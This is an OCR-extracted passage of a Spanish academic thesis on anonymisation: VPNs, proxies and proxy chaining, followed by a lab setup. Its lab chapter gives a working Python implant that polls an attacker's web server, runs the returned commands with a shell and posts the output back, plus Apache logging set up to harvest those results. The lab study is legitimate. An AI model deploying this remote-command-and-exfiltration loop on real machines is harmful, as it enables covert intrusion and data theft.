En términos generales, una VPN es el mecanismo que se utiliza sobre una red, ya sea bien
privada, o bien publica (como Internet), para transmitir informaciéon de forma segura y respe-
tando la privacidad de los usuarios. Esto se logra gracias a la utilizacién de protocolos punto a
punto, el cifrado de los datos, y la tunelizacion de las comunicaciones. [27]

= Principios de funcionamiento.

En primeros términos, después de la definicién dada, no parece que el funcionamiento de una
VPN suponga de demasiada complejidad. Su fuerte, basicamente, es el uso de protocolos
que simulan una tunelizacién virtual. Estos, como requisito principal, deben garantizar
autenticacion, confidencialidad e integridad (Punto .

A continuacion se exponen los protocolos més utilizados:

o IPSec. [24], [28]

Se trata de la abreviatura de Internet Protocol Secure, que quiere decir Protocolo
Seguro de Internet. Este protocolo tiene la utilidad de asegurar que las comunicaciones
IP se realizan de forma segura, implementando asi autenticaciéon y cifrado para cada
flujo de datos.

Es importante senialar que se trata de un protocolo que trabaja sobre la capa 3 del
modelo OSI (capa de redED. En IPv4 trabajara justo por encima de la cabecera IP,
sin embargo, en IPv6 estara integrado en el apartado “Extensiones” de la misma.

Sobre las cabeceras, IPSec permite utilizar dos tipos:

5Capa encargada de la administraciéon de las direcciones de datos y la transferencia entre redes
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o Cabecera de Autenticacion (AH): proporciona integridad y autenticacion, pero

no confidencialidad, pues no cifra los datos del paquete IP.

Se sitia entre la cabecera IP estandar del paquete, y los datos transmitidos. En
la figura inferior (Figura [2.11]) se puede analizar su funcionamiento, que se basa
¥

en un algoritmo HMAC

Emisor

Mensaje
original

Receptor

Paquete IPSec

Mensaje
iNTerneT | P AH Datos re(ibi o

MAC MAC
recibido calculado
ZSon iguales?:
= Sl: Paquete autenticado
- NO: Paquete alterado

Figura 2.11: Funcionamiento del protocolo IPSec utilizando cabecera AH. [28]

o Cabecera de Seguridad Encapsulada (ESP): ofrece integridad, autenticacion y con-

fidencialidad mediante el algoritmo de Diffie-Hellmann.

Al proporcionar mas servicios que AH, el formato de la cabecera es mas complejo:
estd formado por una cabecera y una cola para la autenticacion, que “rodean” el
campo que contiene los datos cifrados.

Para el cifrado se utilizan algoritmos de clave simétrica, habitualmente AES.
Un esquema que servira para analizar el funcionamiento del protocolo IPSec con
esta cabecera, se muestra en la siguiente figura (Figura [12]):

Emis

&

Mensaje

At IP ESP Datos
original

Algoritmo

CLAVE ESP criptografico

-

Mensaje cifrado

Receptor

Paquete IPSec

Mensaje
INTERNET P ESP Datos recibidJc

Algoritmo
criptogréfico

Mensaje descifrado

CLAVE ESP

Figura 2.12: Funcionamiento del protocolo IPSec utilizando cabecera ESP. 28]

Se debe escoger entre las dos, pues no funcionan de forma simultanea. Lo que si se
)
puede hacer es aplicar una detras de otra de modo secuencial, es decir, a un datagrama

5 Algoritmo basado en cédigo de autenticacién de mensaje basado en hash.
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IP aplicarle un protocolo y al paquete resultante aplicarle otro.

IPSec soporta todos los cifrados simétricos actuales, no obstante, una negociacién co-
rrecta depende de si el sistema operativo soporta este tipo de algoritmos de cifrado.
Para ello, el protocolo integra un sistema de negociaciéon para que: los equipos finales
negocien el mejor cifrado posible que soporten, puedan acordar las claves de inter-
cambio, y, ademas, elijan los algoritmos de cifrado que tengan en comin.

También permite asegurar la integridad de los mensajes, permitiendo al host receptor
comprobar que el contenido de las cabeceras y la carga til cifrada del mensaje en-
viado, no han sido modificadas desde su origen al destino. Para ello utiliza algoritmos
hash, que van desde MD5 hasta el SHA-512.

En resumen, [PSec combina tecnologias de clave piblica, algoritmos de cifrado simé-
tricos, y algoritmos de hash, asi como certificados digitales.

IPSec esta apoyado por todos los estandares de la IETF E] y ademas estd soportado
en todas las versiones de sistemas operativos para PC.

e PPTP. [25)

El nombre del protocolo es un acrénimo de Point to Point Tunneling Protocol (o
protocolo de ttnel de punto a punto).

Desarrollado por Microsoft desde 1999, se trata de uno de los protocolos méas antiguos.

PPTP cifra, auténtica y negocia PPP, para posteriormente encapsular la trama en un
paquete IP. A partir de entonces viajan hasta su destino a través de un tinel.

Hay dos tipos de tineles para este protocolo:

o Tunelizacién voluntaria: Iniciada por el usuario cuando un cliente PPTP se co-
necta al proveedor de servicios de Internet (ISP) construyendo asi una conexion
TCP entre ambos.

o Tunelizacion obligatoria: Iniciada por el servidor PPTP, por lo que debe tener un
router obligatoriamente para arrancar.

Tras la creacion del tunel se comienza la comunicaciéon que contara con dos tipos de
mensajes: de control y de datos.

Pese a que es muy facil de configurar, este protocolo tiene una desventaja muy perju-
dicial, y es que usa un cifrado extremadamente sencillo, limitado a 128 bits. De hecho,
la agencia gubernamental NSA lo rompid, por lo que es muy vulnerable. Esto genera
mucha inseguridad en su uso, por lo que actualmente pocos son los que lo utilizan vy,
definitivamente, es un riesgo hacerlo.

o L2TP. [26]

Sus siglas quieren decir Layer Two Tunneling Protocol (Protocolo de tunelizacion de
capa dos). Fue creado por Microsoft como sucesor de PPTP, tiene su misma funcio-

"Internet Engineering Task Force (Grupo de trabajo de ingenieria de Internet).
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nalidad y soluciona todas sus vulnerabilidades.

Con L2TP se realizan todas las comprobaciones y validaciones de seguridad, y se ha-
bilita un mejor cifrado de los datos.

Utiliza PPP para proporcionar acceso teleféonico que puede ser dirigido a través de un
tanel por Internet hasta un punto determinado y, ademés, define su propio protocolo
de establecimiento de tiineles.

También se puede usar de forma conjunta con IPSec para la autenticacién y encrip-
tacion de seguridad de la transferencia de datos.

Los inconvenientes que tiene este protocolo son principalmente que no solo no realiza
autenticaciéon para cada uno de los paquetes que viajan por el tunel, tampoco cifra el
trafico de datos del usuario y no dispone de mecanismos para actualizaciéon y genera-
cion automética de las claves de cifrado.

Debido a esto, se utiliza IPSec para proteger los datos que viajan por tuneles L2TP.

e VPNs SSL.

Las siglas de este protocolo quieren decir Secure Sockets Layer, y mediante el uso de
criptografia, proporciona autentificacion y privacidad de la informacion.

SSL requiere de 3 fases para cifrar la comunicacion. Estas son:
1. Negociar que algoritmo se utilizara en la comunicacién entre el emisor y el recep-
tor.
2. Realizar intercambio de claves publicas generadas y utilizar certificados digitales
para la autenticacion.
3. Mediante el cifrado simétrico, encriptar el tréfico.

Ademas de esto, SSL se ejecuta en la capa de aplicacién junto a protocolos como
HTTP (formando asi HTTPS) o SMTP, y también sobre TCP.

= Tipos.

Se pueden encontrar dos tipos de arquitecturas VPN, ambas focalizadas al uso empresarial,
que se usaran dependiendo de las necesidades que se presenten [27], [29], [30]:

e VPN de acceso remoto.

Se utiliza, sobre todo, cuando existen usuarios méviles o usuarios que se conectan
desde el domicilio a una sede empresarial. Para estos se habilita un canal por donde
se redigiré el trafico, y a partir del cual podran acceder a recursos remotos como si
fueran locales.

También se puede utilizar para aislar zonas de la red interna, de forma que solo se
pueda acceder a las mismas usando este tipo de VPN, desde la que se solicitara una
autenticaciéon que servira para filtrar los usuarios que tienen acceso o no a los servicios
aislados.
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Es importante tener en cuenta desde donde se inicia el tanel.

Si lo hace desde el cliente, toda la conexion sera segura, pero se deberé gestionar soft-
ware en local para acceder al sitio remoto. En cambio, si se inicia desde un servidor de
acceso a red (NAS), la VPN se habilitara desde el router, por lo que no sera necesario
software adicional, pero no existird una conexion cifrada hasta dicho router desde el
cliente.

En los ultimos anos esta arquitectura se ha convertido en algo imprescindible para
poder permitir el teletrabajo.

e VPN de sitio a sitio.

Este tipo de arquitectura se utiliza en el entorno empresarial, de forma que sedes
secundarias puedan acceder de forma rapida y fiable al contenido de la sede central,
0 a otras organizaciones.

Este método permitird ahorrar los costes que puede suponer crear un enlace WAN,
vy ademés posibilitard una gestiéon mas sencilla. Eso si, también debera implementar
una topologia que posibilite el méximo de prestaciones y una alta disponibilidad.

Importante senalar que en esta arquitectura es fundamental conocer las rutas estaticas
para lograr llegar al destino por medio del tinel VPN.

También es de vital importancia que las distintas partes utilicen el mismo protocolo
VPN, tipo de cifrado y autenticacion. Es decir, en el cliente se puede usar cualquier
protocolo, pero no accedera a otro sitio si este no es el mismo que tenga configurado
el servidor VPN “central” al que se accedera.

= Ejemplo de aplicacion: OpenVPN.

El ejemplo més recurrente que se puede encontrar basado en este mecanismo es OpenVPN;,
una herramienta gratuita que utiliza el protocolo SSL, ya estudiado, para su funcionamien-
to. De forma que permitira crear certificados digitales para la autenticacién de los clientes.

Es muy utilizado, porque es capaz de crear y configurar, tanto conexiones desde el clien-
te a un servidor externo, como hacia un servidor propio (una de las grandes ventajas de
OpenVPN), de una forma muy sencilla e intuitiva. [37], [38]

En uno de los Anexos (Apartado [6.1)), se explica de forma detallada como crear una cone-
xion cliente/servidor desde Windows con esta herramienta. Eso si, el servidor se trata de
uno externo para reducir complejidad en la explicacién de la configuracion.

2.2.3. Proxy.

s Definicion.

Se trata de un equipo informético que se sittia como intermediario entre el cliente y el
servidor de acceso, de forma que pasaran por él todos los paquetes de la comunicacion, y
serd la direcciéon de este la que el servidor tomara como cliente, de manera que su principal
funcioén es la de ocultar la IP del cliente, pero nada méas. Debe existir una fiabilidad muy
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grande en el servidor proxy por parte del cliente, pues la comunicaciéon no estara cifrada,
y si este no es fiable puede apropiarse, perfectamente, de datos sensibles que se puedan
incluir durante la misma sin que el usuario se entere. [31]

Y es aqui donde surge la principal diferencia con las VPN, ya que estas cifran todo el trafico
que pasa a través de ellas, en cambio, un servidor proxy no implementa esa funcion.

""""""" COMUNICACION NO CIFRADA

INTERNET

N A i TN
- P S : . -

i Y - = - -

SERVIDOR PROXY

Figura 2.13: Diagrama con disposicién habitual del proxy en cualquier red.

Esto, al fin y al cabo, recuerda al funcionamiento basico de las redes de anonimizacién
(Punto donde se hacia pasar la informacién por distintos puntos de reenvio para
confundir al servidor, y asi evitar que se pudiera identificar al cliente al rastrear la comu-
nicacion.

Utilidades.

La principal utilidad que supone el uso de un proxy es la de poder acceder a servicios que
en el pais de origen estan bloqueados, pero en otros no, saltandose asi las restricciones te-
rritoriales. Pues mediante proxy se puede utilizar un servidor que tenga una IP que esté en
el rango de direcciones que se usa en otra region, y de esta manera simular que se pertenece
a la misma.

Pero, obviamente, el trafico no estara cifrado. Aunque, cabe senialar, que hay aplicaciones
gratuitas para incluir proxy en el navegador, como Hide.meﬂ que habilitan las opciones de
deshabilitar cookies, y borrar datos del mismo antes de arrancar la comunicacion.

Otras utilidades que se le pueden dar a un proxy son las de control de acceso a un recurso,
filtros de contenido (pues puede usarse como intermediario entre el usuario y el router que
da acceso a internet en cualquier hogar) y almacenar caché (evita conectarse a internet
cuando se vuelva a hacer una solicitud a una pagina).

Shttps://hide.me/es/proxy
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= Tipos.

Se pueden encontrar una gran cantidad de tipos de servidores proxy organizados segin
su utilidad. En este trabajo no se estudiaran en demasiada profundidad, pero si conviene
indicarlos: [32]

e Proxy web: Utilizado para acceder a recursos web de Internet.
Consigue reducir el trafico a Internet y aumentar la velocidad de respuesta, (sobre
todo, si se implementa la funcionalidad de caché) pues las peticiones se hacen direc-
tamente al proxy.

e Proxy caché: Se encarga de acelerar las respuestas a peticiones sobre la misma infor-
macién. Puede llegar a percibirse como intromisiéon en la privacidad de los usuarios.

e Proxy inverso: Actia como si fuera un servidor y se encarga de filtrar el trafico de
datos hacia los recursos de la red. Se hace cargo de las solicitudes entrantes procedentes
de Internet para asi reforzar la seguridad de estos, mejorar la distribucion de la carga
y también la caché de contenido estatico.

e Proxy transparente: Simplemente, se sitiia como interceptor del trafico, no modifica
los datos. Su principal ventaja es que no necesita ninguna configuraciéon por parte del
cliente.

Los servidores proxy transparentes son parte integral de las redes de entrega de con-
tenido.

e Proxy NAT: Se trata del proxy que més cercano se sitia a la anonimizaciéon, pues se
encarga de enmascarar la direccién IP del cliente.
El proxy, en definitiva, traducira las IP privadas de la red interna a una IP publica
que serd la que reciba las peticiones y luego las distribuya a la direccién privada que
la solicito.

Una vez conocido el funcionamiento general, la utilidad y los tipos de proxies que se pueden
utilizar, se expone a continuacién una técnica mediante la cual, a partir del encadenamiento
de estos equipos, se puede lograr una anonimizacién eficiente, esta recibe el nombre de Proxy
chaining:

* PROXY CHAINING:

Esta técnica consiste en conectar dos o méas servidores proxy (sin limite) para realizar cual-
quier busqueda en Internet. Si el destino quiere buscar de dénde proviene la peticion, se
mostrard la IP del dltimo proxy por el que paso el trafico, por lo que se dificulta enor-
memente el rastreo. Incluso se puede dificultar atin mas si los proxies que se utilizan son
extranjeros. [33]

Es muy habitual por parte de los atacantes utilizar esta técnica para obtener accesos no
autorizados a cualquier servidor.

También los pentesters la utilizan para realizar un escaneo de puertos de forma remota de
forma andénima.

Por otra parte, usandola en conjunto con TOR se ha logrado configurar dicha red de anoni-
mizaciéon de forma que todo su trafico pueda salir a Internet y asi evitar el uso de software
especifico, como Tor Browser, para realizarlo.
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Un software muy recomendado, sencillo e intuitivo para llevar a cabo el chaining en Win-
dows es Proxifier. En el segundo de los anexos de este trabajo (6.2]) se muestran los pasos
que se han de seguir sobre el programa para crear chaining con dos o mas servidores.

Por otra parte, en Linux se puede utilizar la herramienta proxychains desarrollada espe-
cificamente para usar esta técnica sobre cualquier programa.|35]

La sintaxis para su uso es:

proxychains <sintaxis-programa>

Algunas de las ventajas que se pueden obtener de usar esta herramienta desde Linux son:[34]

a) es capaz de encadenar varios proxies de forma simultanea.

b) puede seleccionar los proxies por los que pasard la comunicacion de forma aleatoria
sobre un conjunto de ellos definido previamente.

c¢) resuelve peticiones DNS a través del proxy, de forma que logra que estas sean también
anénimas.

d) soporta protocolos como HTTP, HTTPS, SOCKS4 y SOCKS5.
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Capitulo 3

Desarrollo de prueba de anonimizacion.

3.1. Descripcién del entorno de laboratorio.

Para poder poner en préctica las técnicas mostradas en la seccién de ahora en adelante
se mostrara un caso practico sobre el que se implementara alguno de los métodos aprendidos
recientemente, o la combinacién de varios de ellos.

Se desarrollaré una prueba que ponga en valor las virtudes de anonimizar el trafico de datos, de
forma que se mediran las consecuencias de no hacerlo y las ventajas que supone realizarlo. Para
ello, en primer lugar, se mostrara el trafico sin intermediarios entre dos maquinas, y posterior-
mente se analizara el mismo trafico pero usando intermediarios.

Siendo mas concreto, se utilizard un entorno de laboratorio en el que se simularan tres redes
diferentes. Cada una tiene un propoésito distinto y que se expone a continuacion:

= Red victima: Se trata de una red interna protegida por un cortafuegos, el cual permite
trafico entrante y saliente controlado.
Esté integrado por una DMZ F_-] en la que hay un servidor web y un servidor DNS, y una
intranet.
La intranet esta formada por todos los equipos de trabajo de la red y un servidor Active
Directory E] En ella se va a suponer que se ha logrado introducir en uno de los equipos
un malware, el cual se comunicara regularmente con el exterior. Concretamente con la
maquina Kali situada en la red atacante. [41]

= Red atacante: Es la red desde la que se pretende obtener informaciéon confidencial de la
red interna, esquivando el cortafuegos de la misma.
Esté formada por una méquina Kali que tendra desplegado un servidor web en el que se
almacenarédn comandos para que pueda ejecutar el malware inyectado en uno de los equipos
de la red interna, y asi obtener informacién de los equipos que la forman.

= Red intermedia: Esta formada por tres servidores Linux, los cuales funcionaran como
proxy servers (Apartado [2.2.3), y por los que se pretende que pase la comunicacion entre
el malware de la red interna y el Kali de la red atacante.

red aislada que se encuentra dentro de la red interna de la organizacion. En ella se encuentran ubicados
exclusivamente todos los recursos de la empresa que deben ser accesibles desde Internet.[40]
2para conectar a los usuarios con los recursos de red que necesitan para realizar su trabajo.
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Ademas, también cuenta con un servidor DNS que proporciona el nombre de dominio del
que formaran parte los servidores Linux, y que servird como “tapadera’ para la conexion
del malware con el exterior. Pues las conexiones DNS si estaran permitidas en el firewall
como trafico saliente.

En la figura inferior (Figura [3.1]) se puede observar un diagrama simple del entorno de labo-
ratorio descrito anteriormente con los nombre de cada dispositivo:

RED ATACANTE

PC Kali
(kali-29.kali.inforuva.es)

I - -

/ RED VICTIMA (INTERNA) \__

DMZ

Servidor Web Servidor DNS

INTRANET
-
— — P
== Active Directory
PC Infectado
\ (intra-00.intra.infor.uva.es) /-"

Figura 3.1: Diagrama del entorno de laboratorio.
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3.2. Herramientas utilizadas.

3.2.1. Kali

Sistema operativo de distribucién Linux disefiada especialmente para la seguridad informética.
Contiene herramientas para llevar a cabo analisis de redes, analisis de vulnerabilidad, ataques
inalambricos, analisis forenses, etc. [58]

En este trabajo, la méquina atacante tendra instalado este sistema.

3.2.2. Ubuntu Server

Sistema operativo que contienen las méquinas pertenecientes a la red intermedia.
El mismo tiene como propoésito la gestion de servidores, de forma que originalmente no cuenta
con interfaz grafica para asi ahorrar recursos y que el servidor haga bien su funcién principal.

1591

3.2.3. Ubuntu Desktop

Version mas sencilla de la distribucién Ubuntu, orientada hacia usuarios con ordenador de
sobremesa. Cuenta con herramientas y aplicaciones basicas como navegadores web, gestores de
correo o paquetes de ofiméatica para simplificar lo maximo posible el trabajo.

Es el sistema operativo que, en la red de laboratorio propuesta en este trabajo, utilizara la
méaquina infectada. [59]

3.2.4. Servidor HTTP Apache

Se trata del software encargado de desarrollar y mantener un servidor web de forma gratuita
en los sistemas Unix y Windows.
Su objetivo es el de proporcionar un servidor seguro, eficiente y extensible que proporcione
servicios HTTP en sincronia con los estandares HTTP actuales. [60]
Se implementara en todos los servidores web que se desplieguen en el laboratorio.

3.2.5. Python

Lenguaje de programacién interpretado, orientado a objetos de alto nivel y con seméntica
dindmica. Su sintaxis hace énfasis en la legibilidad del cédigo, lo que facilita su depuracion vy,
por tanto, favorece la productividad. [61]

3.2.6. PHP

Lenguaje de codigo abierto muy popular, especialmente adecuado para el desarrollo web y
que puede ser incrustado en HTML. Su uso es simple para cualquier principiante, pero a su vez
también ofrece muchas caracteristicas avanzadas para los programadores profesionales. [62]

En este trabajo es el lenguaje que ird por detréas de cualquiera de los servidores web y se elaboraran
varios scripts con él para el tratamiento de los datos.

31



3.2.7. Shell Sripting

Se trata de la técnica consistente en la elaboracién de programas mediante instrucciones que
son ejecutadas por un Shell (CLI o intérprete de comandos) de Unix o Linux. [63]
Mediante esta técnica se desarrollaran algunos scripts desde la parte del cliente para automatizar
el proceso.

3.2.8. AWK

Se trata de un lenguaje potente destinado especificamente al procesamiento de datos basados
en textos. Su utilizacién estandar es la de filtrar ficheros o salida de comandos de UNIX, tratando
las lineas para, por ejemplo, mostrar una determinada informacion sobre las mismas. [64]

Para la prueba que se va a desarrollar se utilizara para recoger informaciéon concreta del fichero
log de errores de Apache.

3.2.9. Cron

Es un administrador de tareas de Linux que permite ejecutar comandos en un momento
determinado, por ejemplo, cada minuto, dia, semana o mes. Para trabajar con él, se debe realizar
a través del comando crontab. [65]

Una vez més, esta herramienta se utilizara en la ultima parte del desarrollo de la prueba para
automatizar el proceso.

3.2.10. Wireshark

Se trata de un analizador de protocolos de red gratuito ampliamente utilizado universalmente.
Gracias a él se puede capturar en tiempo real el trafico de cualquier red a la que se tenga acceso.
[66]

En el caso de este trabajo, se utilizard para el analisis de trafico final a partir del cual se dic-
taminara si es posible anonimizar completamente la informaciéon en la prueba de laboratorio
previamente realizada.

3.2.11. cURL

Herramienta software gratuita y de codigo libre para linea de comandos que se usa para
transferir datos con URL.
Se utilizard para realizar peticiones a los servidores web desde la linea de comandos en las
maquinas Ubuntu.[67]

3.2.12. Servidor BIND

Herramienta de gestion de servidores DNS alojados en Unix, gratuita y de codigo abierto.[68]

3.2.13. Socat

Herramienta basada en linea de comandos que tiene como propodsito establecer dos flujos de
bytes bidireccionales y conseguir transferir datos entre ellos.[50]
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3.2.14. OpenSSL

Software libre que cuenta con una gran cantidad de herramientas con todas las funciones
necesarias para implementar una comunicacion segura por medio de la criptografia.[69] En este
trabajo se utilizara en la configuraciéon de HT'TPS para obtener una certificaciéon valida mediante
la generacion de las claves que sean necesarias.

3.3. Comunicacién de maquinas sin intermediarios

En primer lugar, se elaborara una comunicacién entre la méquina intra-00.intra.infor.uva.

de la red victima y la maquina kali-29.kali.infor.uva.es de la red atacante, sin que esta pase
por la red intermedia, es decir, que el cortafuegos de la red victima conocerd en todo momento
con quien se estd comunicando uno de los PC de la intranet.

Pero previamente se debe plantear como va a ser la comunicacion y configurar asi los PC. Se
decide, por sencillez, que sea una comunicacion HTTP donde, en el Kali de la red atacante, se
desplegaréa un servidor web que guardara distintos comandos que, el PC infectado de la red vic-
tima, podra consultar como cliente web y ejecutar en la intranet. El resultado de dicho comando
se reenviard a la red atacante mediante una peticion POST al servidor web.

3.3.1. Configuracién de servidor web en maquina atacante

Una vez conocida la forma de comunicacion entre atacante y victima, es hora de configurar
el servidor web en la red atacante para poder hacer posible esta.

En primer lugar, es importante senalar que se utilizara Apache como servidor HT'TP, pues esta
instalado por defecto en Kali, ha sido utilizado previamente en infinidad de ocasiones, es eficaz
y nada complicado de configurar.

La configuracién del servidor web Apache, no requiere realmente de demasiados pasos, simple-
mente es importante tener en cuenta el directorio que se crea tras su instalaciéon en /etc/apache?2
(Figura desde el que se puede cambiar: el puerto desde el que se accedera al mismo, el nombre
de dominio, el directorio donde se guardaran los archivos .html, etc:

Jetc/apache2

apache2.conf magic
envvars ports.conf

Figura 3.2: Contenido del directorio /etc/apache2/.

En una de las secciones de apache2.conf, por ejemplo, se puede observar cuél es el directorio
raiz del servidor web (en donde se almacenan los archivos .html) y los permisos de acceso que
se tienen al mismo. Por defecto, apunta a /var/www, pero se cambia a /var/www/html (Figura
3.3). También por defecto, el directorio esta configurado para que utilicen enlaces simboélicos,
se ignoren archivos de tipo .htaccess (para configurar funciones adicionales del servidor) y se
permita el acceso incondicionalmente [42]:
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Figura 3.3: Seccion del fichero /etc/apache2/apache2.conf que indica el directorio raiz del
servidor web.

Desde el directorio /etc/apache2/ también se puede acceder al subdirectorio sites-available/
desde el cual se puede configurar cada uno de los directorios raiz que se quieran incluir en el
servidor (VirtualHosts). Para el caso de la comunicaciéon con la victima solo se mantendra uno
y es el creado por defecto. Su configuracion se almacena en el fichero 000-default.conf y tiene
el siguiente formato (Figura [3.4):

<VirtualHost

Admin wi
umentRoot

ErrorlLog
CustomLo i _LOoG_ combined

irtualHost>

Figura 3.4: Fichero que contiene la configuracién del directorio raiz por defecto del servidor web.

Como se puede observar en la Figura [3.4] el puerto de acceso a la web es el 80, lo que indica
que hay acceso HTTP a la web. También se puede observar la ruta donde se guardan los log vy,
una vez mas, la ubicacién del directorio raiz.

En este fichero, ya si, se deben comenzar a hacer modificaciones. Concretamente, se deben activar
dos modulos (DumpIOInput y DumpIOOutput) para que se muestre el contenido de las peticiones
POST al servidor en el fichero log, y asi poder recoger los resultados de la ejecucion de los
comandos en el host infiltrado en la intranet de la red victima.

También se debe establecer el nivel de log en dumpio:trace7 [43] (Figura |3.5)):
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<VirtualHost *

ServerAdmin webm
DocumentRoot /v

ErrorLog ${ CHE_LOG_D log
CustomLog ${APACHE_LOG_DIR} .log combined

DumpIOInput On

DumpIOOutput On
LoglLevel dumpio:tr

irtualHost>

Figura 3.5: Modificacion en el fichero 000-default.conf para incluir dos médulos.

Para que los modulos anadidos funcionen, se deben habilitar en el servidor usando el comando
a2enmod dump_io [43] y reiniciar posteriormente el servidor (systemctl restart apache2).

Una vez hecho esto, se procede a modificar el contenido de las paginas .html del servidor web
accediendo al directorio /var/www/html/. Aqui se cambiara el fichero index.html por un fichero
index.php que permitird mostrar contenido dindmico dependiendo de lo que el servidor web
reciba del PC en la red victima.

Concretamente, si se envia un POST y este contiene el valor 1 se mostrara el comando pwd, si
se envia un 2 se mostrara el comando 1ls -la, y si se envia un 3 se mostrara el comando dir

(Figura 3.7)):

t($ POST['cC
($ POST[
($ POST[
[ ls -1a
($ POST[
0 'dir

Sin solicitud de

Figura 3.6: Contenido dindmico en index.php (1).
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Por otra parte, también se muestra de forma dindmica la respuesta del cliente al ejecutar

dicho comando que el servidor recibird mediante otra solicitud POST:

class="content section floating element">

Figura 3.7: Contenido dinamico en index.php (2)

Una vez elaborada la pagina principal del servidor web, ya estaria configurado gran parte del

mismo para la primera prueba. Se reinicia Apache y se podria acceder al mismo desde cualquier
dispositivo, bien indicando su IP en la barra de direcciones de cualquier navegador web (Figura

, o bien realizando una peticion mediante cURL desde la terminal (Figura :

..‘:ERVIDOR KALI *
< C O & 192.168.1.39

Sin solicitud de comando

Sin respuesta

Figura 3.8: Muestra del contenido de la péagina principal del servidor web en un navegador web.
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root@intra-00: /homefusuario/Escritorio# curl 192.168.1.39

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.6 Transitional//EN" "http://www.w3.org/TR/x
html1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SERVIDOR KALI</titl
<style type="text/css" media="screen">

margin: @px @px @px Opx;
padding: ©px @px ©px Opx;
}

body, html {
padding: 3px 3px 3px 3px;

background-color: #D8DBE2;

font-family: Verdana, sans-serif;
font-siz 11pt;
text-align: center;

}

div.main_page {
position: relative;
display: table;

width: 8@epx;

margin-bottom: 3px;
margin-left: aut
margin-right: auto;
padding: ©px @px ©px Opx;

border-width: 2px;
border-color: #212738;
border-style: solid;

background-color: #FFFFFF;

Figura 3.9: Muestra de contenido de la pagina principal del servidor web mediante cURL.

3.3.2. Elaboracién de script de comunicacién con maquina atacante desde la
maquina infectada.

Una vez se tiene el servidor web Apache en la méaquina atacante plenamente funcional, se
debe comenzar a trabajar en la elaboracion de un script en la maquina infectada que se encargue
de:

= Hacer peticiones de tipo POST al servidor para recoger los comandos a introducir.

= Hacer peticiones de tipo POST al servidor indicando el resultado de la ejecucion del co-
mando aportado en la maquina local.

Para ello se utilizara el lenguaje de programacién Python por su enorme flexibilidad y sencillez.

El contenido de dicho script se muestra a continuacién:

import time

import requests

from bs4 import BeautifulSoup
import sys

import subprocess

while True:
#Se envia peticion al servidor web con la opcion del comando que
quiere ejecutar y se recoge la respuesta
params = {'contenido':sys.argv[l], 'resultado':0}
resp = requests.post('http://192.168.1.39/"', data = params)
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11
12
13
14
15
16

17
18
19
20
21
22

bs = BeautifulSoup(resp.text, "html.parser")
comando = bs.body.div.div.span.text

print ("Respuesta: " + comando)

time.sleep(2)

#Se ejecuta el comando en local y se envia el resultado al
servidor

resultado = subprocess.check_output (comando, shell=True)

params2 = {'contenido':sys.argv[1l], 'resultado':resultado}

resp2 = requests.post('http://192.168.1.39/', data = params2)

bs2 = BeautifulSoup(resp2.text, "html.parser")

print (bs2.body.div)

time.sleep(5)

Como se puede ver en el cddigo anterior, se realiza un bucle infinito a partir de linea 7 que
estara formado por dos fases bien diferenciadas.

Desde la linea 9 a la 14 se realiza una peticion POST hacia el servidor web alojado en la ma-
quina atacante, en la que se envia un namero (“contenido”) introducido como parédmetro en la
ejecucion del script mediante la libreria requests [44]. Dicho nimero indicara el comando que
se quiere recibir del servidor web. Para recoger la respuesta del servidor se utiliza la libreria
BeautifulSoup (linea 11), la cual permite acceder al contenedor concreto del HTML en el que
se mostrara el comando a ejecutar [45]. Dicho comando se muestra por pantalla y se espera dos
segundos para comenzar la siguiente fase.

Desde la linea 17 a la 22 se ejecuta el comando devuelto por el servidor web, alojado en la
maquina atacante, gracias a la libreria subprocess (linea 17) [46]. El resultado se envia como
parametro (“resultado”) de la peticion POST (recordar que este pardmetro estaba establecido a
0 en la anterior fase). Una vez hecho esto se hace la peticion al servidor (linea 19).

Para comprobar que se ha enviado correctamente, se recoge la respuesta a partir del uso de la
libreria BeautifulSoup.

3.3.3. Obtencién de datos de solicitud POST en maquina atacante.

Ahora es importante que el servidor web reciba correctamente las peticiones POST desde el
cliente, de manera que pueda almacenar el resultado de la ejecuciéon del comando aportado en
cualquier fichero local.

Para ello, tal como se ha visto en la configuracion de la maquina atacante (Apartado , se
deben anadir los médulos DumpIO0Input y DumpIOOutput de manera que se muestre el contenido
de la solicitud POST en el log de errores del servidor (error.log) [43].

Este archivo se almacenara en la ruta /var/log/apache2/, por lo que, en cuanto en el cliente
se ejecute el script mostrado en el Apartado anterior (Apartado , este fichero comenzaré
a llenarse con todas las entradas recibidas y/o todas las salidas enviadas desde Apache [47].

(Figura [3.10):
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[Wed Jun @1 13:59:22.876222 2022] [dumpio:trace7] [pid 1934638] mod dumpio.c(135): [client
192.168.1.1:40622] mod dumpio: dumpio in [readbytes-blocking] 55 readbytes
[Wed Jun ©1 13:59:22.876566 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(58): [client
192.168.1.1:40622 )d_dumpio: dumpio_in (data-HEAP): 55 bytes
[Wed Jun @1 13:59:22.876589 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(100): [client
192.168.1.1:40622] mod dumpio: dumpio in (data-HEAP)
contenido=1&resultado=%2Fho Fusuario%2FEscritorio%eA
[Wed Jun @1 13:59:22.877101 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(164): [client
192.168.1.1:40622] mod dumpio: dumpio out
[Wed Jun @1 13:59:22.877122 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(58): [client
192.168.1.1:40622] mod dumpio: dumpio out (data-HEAP): 253 bytes
[Wed Jun ©1 13:59:22.877133 2022] [dumpio:trace7] [pid 1934038] mod dum .c(1e [client
192.168.1.1:40622] mod dumpio: dumpio out (data-HEAP): HTTP/1.1 280 0 e: Wed, 01 Jun 2022
2 GMT\r\nServer: Apache/2.4.53 (Debian)\r\n\ : Accept-Encoding\r\nContent-Encoding:
nContent-Length: 1038\r\nKeep-Alive: time , Mmax=100\r\nConnection:
Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\r\n\r\
[Wed Jun @1 13:59:22.877147 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(164): [client
192.168.1.1:40622] mod dumpio: dumpio out
[Wed Jun @1 13:59:22.877167 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(58): [client
192.168.1.1:40622] mod dumpio: dumpio out (data-IMMORTAL): 10 bytes
[Wed Jun @1 13:59:22.877178 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(100): [client
